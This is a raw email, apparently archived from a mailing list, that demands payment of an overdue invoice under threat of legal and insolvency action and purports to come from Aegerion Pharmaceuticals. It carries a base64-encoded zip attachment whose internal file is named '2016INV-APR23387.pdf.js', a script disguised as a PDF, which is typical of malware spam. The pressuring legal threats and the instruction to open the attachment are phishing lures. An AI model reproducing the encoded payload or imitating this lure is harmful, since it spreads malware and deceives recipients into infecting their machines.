[ubuntu-mono] =?windows-1252?B?TGFzdCBsZXR0ZXIgYmVmb3JlIGNvbW1lbmNpbmcgbGVnYWwgYWN0aW9uIEFlZ2VyaW9uIFBoYXJt

Thu Apr 28 15:37:06 UTC 2016

YWNldXRpY2FscywgSW5jLg==?=
Thread-Topic: =?windows-1252?B?TGFzdCBsZXR0ZXIgYmVmb3JlIGNvbW1lbmNpbmcgbGVnYWwgYWN0aW9uIEFlZ2VyaW9uIFBoYXJt
YWNldXRpY2FscywgSW5jLg==?=
Thread-Index: PT9VVEYtOD9CP1RHRnpkQ0JzWlhSMFpYSWdZbVZtYjNKbElHTnZiVzFsYm1OcGJtY2diR1ZuWVd3
Z1lXTjBhVzl1SUVGbFoyVnlhVzl1SUZCb1lYSnRZV05sZFhScFkyRnNjeXdnU1c1akxnPT0/PQ==

Date: Thu, 28 Apr 2016 21:07:00 +0530
Message-ID: <E933EA44513A7CC4601FE1C91572E413EB7000CC at 3EC01B8C23A34.pwht.geq>
Accept-Language: fr-FR, en-US
Content-Language: en-US
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
x-originating-ip: [10.42.95.44]
Content-Type: multipart/mixed;
	boundary="_000_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_"
MIME-Version: 1.0
X-AV-Checked: clean on av6

--_000_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_
Content-Type: multipart/alternative;
	boundary="_001_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_"

--_001_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hello,

We are writing to you about fact, despite previous reminders, there =
remains an outstanding amount of USD 6474,64 in respect of the =
invoice(s) contained in current email. This was due for payment on 23 =
April, 2016.

Our credit terms stipulate full payment within 3 days and this amount is =
now more than 14 days overdue.
The total amount due from you is therefore USD 6474,64

If the full amount of the sum outstanding, as set above, is not paid =
within 7 days of the date of this email, we will begin legal action, =
without warning, for a court order requiring payment. We may also =
commence insolvency proceedings. Legal proceedings can affect any credit =
rating. The costs of legal proceedings and any other amounts which the =
court orders must also be paid in addition to the debt.

This email is being sent to you according to the Practice Direction on =
Pre-Action Conduct (the PDPAC) contained in the Civil Procedure Rules, =
The court has the power to sanction your continuing failure to respond.

To view the the original invoice in the attachment please use Adobe =
Reader.

We await your immediate reaction to this email.

Faithfully your,

Francine Pitts

Aegerion Pharmaceuticals, Inc.
1(995)148-3356 Ext: 344
1(995) 260-6768

--_001_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hello,
We are writing to you about fact, despite previous reminders, there =
remains an outstanding amount of USD 6474,64 in respect of the =
invoice(s) contained in current email. This was due for payment on 23 =
April, 2016.
Our credit terms stipulate full payment within 3 days and this amount =
is now more than 14 days overdue. 
The total amount due from you is therefore USD 6474,64
If the full amount of the sum outstanding, as set above, is not paid =
within 7 days of the date of this email, we will begin legal action, =
without warning, for a court order requiring payment. We may also =
commence insolvency proceedings. Legal proceedings can affect any credit =
rating. The costs of legal proceedings and any other amounts which the =
court orders must also be paid in addition to the debt.
This email is being sent to you according to the Practice Direction =
on Pre-Action Conduct (the PDPAC) contained in the Civil Procedure =
Rules, The court has the power to sanction your continuing failure to =
respond.
To view the the original invoice in the attachment please use Adobe =
Reader.
We await your immediate reaction to this email.
Faithfully your,
Francine Pitts
Aegerion Pharmaceuticals, Inc. 
1(995)148-3356 Ext: 344 
1(995) 260-6768

--_001_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_--

--_000_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_
Content-Type: application/x-compressedf; name="Last letter before commencing legal action77641.zip"
Content-Description: Last letter before commencing legal action77641.zip
Content-Disposition: attachment; filename="Last letter before commencing legal action77641.zip";
	creation-date="Thu, 28 Apr 2016 21:07:00 +0530";
	modification-date="Thu, 28 Apr 2016 21:07:00 +0530"
Content-ID: <E18F190E-62C5-B743-7E33-CF0D3E2CE3FC>
Content-Transfer-Encoding: base64

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

--_000_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_
Content-Type: multipart/alternative; boundary="===============0862172164571886982=="
MIME-Version: 1.0
Content-Disposition: inline

--===============0862172164571886982==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable

This e-mail message is intended solely for the person to whom it is =
address=3D
ed and may contain confidential or privileged information. If you have =
rece=3D
ived it in error, please notify us immediately and destroy this e-mail =
and =3D
any attachments. In addition, you must not disclose, copy, distribute or =
ta=3D
ke any action in reliance on this e-mail or any attachments.

Any views or opinions presented in this e-mail are solely those of the =
auth=3D
or and do not necessarily represent those of the company. E-mail may be =
sus=3D
ceptible to data corruption, interception, unauthorised amendment, =
viruses =3D
and unforeseen delays, and we do not accept liability for any such data =
cor=3D
ruption, interception, unauthorised amendment, viruses and delays or the =
co=3D
nsequences thereof. Accordingly, this e-mail and any attachments are =
opened=3D
 at your own risk.

Aegerion Pharmaceuticals, Inc.
--------------------------------------------------------
Registered in the USA, Registration No. 788950181 =3D
--===============0862172164571886982==
Content-Type: text/html; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable

<p>This e-mail message is intended solely for the person to whom it is =
addr=3D
essed and may contain confidential or privileged information. If you =
have r=3D
eceived it in error, please notify us immediately and destroy this =
e-mail a=3D
nd any attachments. In addition, you must not disclose, copy, distribute =
or=3D
 take any action in reliance on this e-mail or any attachments.</p>
<p>Any views or opinions presented in this e-mail are solely those of =
the a=3D
uthor and do not necessarily represent those of the company. E-mail may =
be =3D
susceptible to data corruption, interception, unauthorised amendment, =
virus=3D
es and unforeseen delays, and we do not accept liability for any such =
data =3D
corruption, interception, unauthorised amendment, viruses and delays or =
the=3D
 consequences thereof. Accordingly, this e-mail and any attachments are =
ope=3D
ned at your own risk.</p>
<p>Aegerion Pharmaceuticals, Inc.<br />
--------------------------------------------------------<br />
Registered in the USA, Registration No. 788950181</p>
--===============0862172164571886982==--
--_000_07E4E1847C3812C55AC9A057CA6BB97F1BBB95758Cgni_--